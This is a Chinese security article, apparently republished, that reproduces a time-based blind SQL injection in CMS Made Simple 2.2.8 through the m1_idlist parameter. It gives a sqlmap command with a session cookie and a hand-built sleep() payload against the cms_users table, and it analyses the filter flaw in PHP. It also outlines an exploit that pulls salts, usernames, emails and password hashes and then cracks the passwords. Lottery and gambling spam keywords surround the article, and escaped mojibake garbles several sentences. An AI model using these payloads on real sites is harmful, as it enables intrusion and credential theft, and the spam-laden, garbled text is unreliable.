手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中

关于CMSMS中SQL注入漏洞的复现与分析与利用

来源:本站整理 作者:佚名 时间:2019-07-06 TAG: 我要投稿

CMS Made Simple(CMSMS)是一个简单且便捷的内容管理系统,它使用PHP、MySQL和Smarty模板引擎开发,具有基于角色的权限管理系统,基于向导的安装与更新机制,对系统资源占用少,同时包含文件管理、新闻发布以及RSS等模块。在CMS Made Simple
实验环境
1.渗透主机:Kali-Linux-2019.2-vm-i386
2.目标主机:CN_Windows7_x86_sp1
3.软件版本:CMS Made Simple 2.2.8
涉及工具
1.BurpSuite v1.7.36
2.python-2.7.15
3.Mozilla Firefox 60.6.2
漏洞复现
1. 漏洞URL如下:“http://server-ip/cmsms/moduleinterface.php?mact=News,m1_,default,0&m1_idlist=”
当参数m1_idlist赋值为1时,页面显示6月19日的新闻,cmsms页面如下:

当参数m1_idlist赋值为2时,页面显示6月24日的新闻,cmsms页面如下:

由此可见,当给参数m1_idlist赋予不同的值时,主页会显示不同的新闻内容,即m1_idlist对应的是新闻的ID。
2. sqlmap扫描
2.1 获取cookie
设置Mozilla Firefox浏览器代理为127.0.0.1:8080,用于指向BurpSuite,然后在浏览器中访问漏洞URL,再通过BurpSuite中的HTTP history找到Cookie的详细信息,如下图所示:

2.2 结合步骤2.1中获取到的cookie,使用sqlmap对漏洞URL中的参数m1_idlist进行扫描测试,sqlmap扫描命令如下:
sqlmap -u "http://192.168.188.140/cmsms/moduleinterface.php?mact=News,m1_,default,0&m1_idlist=1" -p "m1_idlist" --cookie="CMSSESSID6ae120628fa8=v9rtmai3jn0bc4usje1o83c174" --dbms="MySQL" --level 3 --risk 3
2.3 等待了一段漫长的时光,sqlmap的扫描结果如下图所示(居然告诉我没有漏洞,唉,看来神器也有靠不住的时候):

3. 构造语句测试
由于神器sqlmap失准,我?#20405;?#25509;手动构造语句来确认漏洞。
构造如下语句,拼接到参数m1_idlist之后:
0,1))and(case+when+(select+sleep(1)+from+cms_users+limit+1)+then+1+else+2+end)+--+
首先设置sleep的参数为1s,运行结果如下图所示,可以看到服务器的响应时间为1141ms(即1.141s):

再次设置sleep的参数为5s,运行结果如下图所示,可以看到服务器的响应时间为5163ms(即5.163s):

当设置sleep的参数为10s时,服务器的响应时间为10184ms(即10.184s)。?#27426;显?#22823;sleep的参数值,响应时间也在逐步增加。由此可以?#33539;ǎ?#22312;参数m1_idlist中存在基于时间的SQL盲注漏洞。
漏洞分析
通过分析源代码,我们来?#39029;?a target="_blank" href="http://www.rliwo.live/Article/html/3/7/Article_007_1.htm" class="UBBWordLink">SQL注入漏洞的产生点,有关的问题代码如下图所示:

以上这段代码,在将数组中的元素强制转换成整型之后,做了一个条件判断和一个unset操作,?#27492;?#23545;变量idlist的输入做了过滤和筛查,其?#31561;?#24182;卵。下面通过一段测?#28304;?#30721;来详细?#24471;鰨?#20195;码如下:
$idlist = "0,1,2))and(case+when+(select+sleep(10)+from+cms_users+limit+1)+then+1+else+2+end)+--+ ";
if( is_string($idlist) ) {
    $tmp = explode(',', $idlist);
    for ($i = 0; $i if( $tmp[$i] 1 )
            unset($tmp[$i]);
    }
    $idlist = array_unique($tmp);
    foreach($idlist as $value){
        echo $value;
        echo "\n";
    }
}
?>
这段测?#28304;?#30721;的运行结果如下图所示:

?#30001;?#22270;可以看出,变量idlist中的”0”被过滤掉了,”1”和“2))and(case+when+(select+sleep(10)+from+cms_users+limit+1)+then+1+else+2+end)+–+ ”被保留了下来,这?#24471;?#26465;件判断和unset语句只起到了一部分作用。
为什么会这样?在for循环中,第一次循环的时候,由于$tmp[0]
漏洞利用
1. SQL盲注漏洞的利用程序通过构造特定的SQL语句拼接到漏洞URL之后,然后判定MySQL的sleep时长,?#28304;?#26469;?#27602;?#25968;据库中的敏感信息。该程序包含get_salt()、get_username(userid)、get_email(userid)、get_password(userid)、crack_password()、beautify_print()以及main()等组成部分。其中get_salt()函数获取由系统随机生成的salt值,用于crack_password()函数破解用户密码;get_username(userid)函数用于获取cmsms的用户名;get_email(userid)函数用于获取用户对应的邮箱;get_password(userid)函数用于获取用户对应的密码,此密码为密?#27169;籧rack_password()函数结合salt值、密文密码以及自定义?#20540;?#26469;破解用户密码。程序的详?#22797;?#30721;如下所示:

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.rliwo.live)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱[email protected],我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载
        购买彩票权威网址
        手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中
        龙珠激斗 上海到大邱的特价机票 海南环岛赛彩票 开奖点 四川麻将桌 冰球突破充上瘾吗 火影忍者超清手机壁纸鸣人 钻石谷援彩金 辽宁快乐12开奖查询 白狮子 极限怪物赛车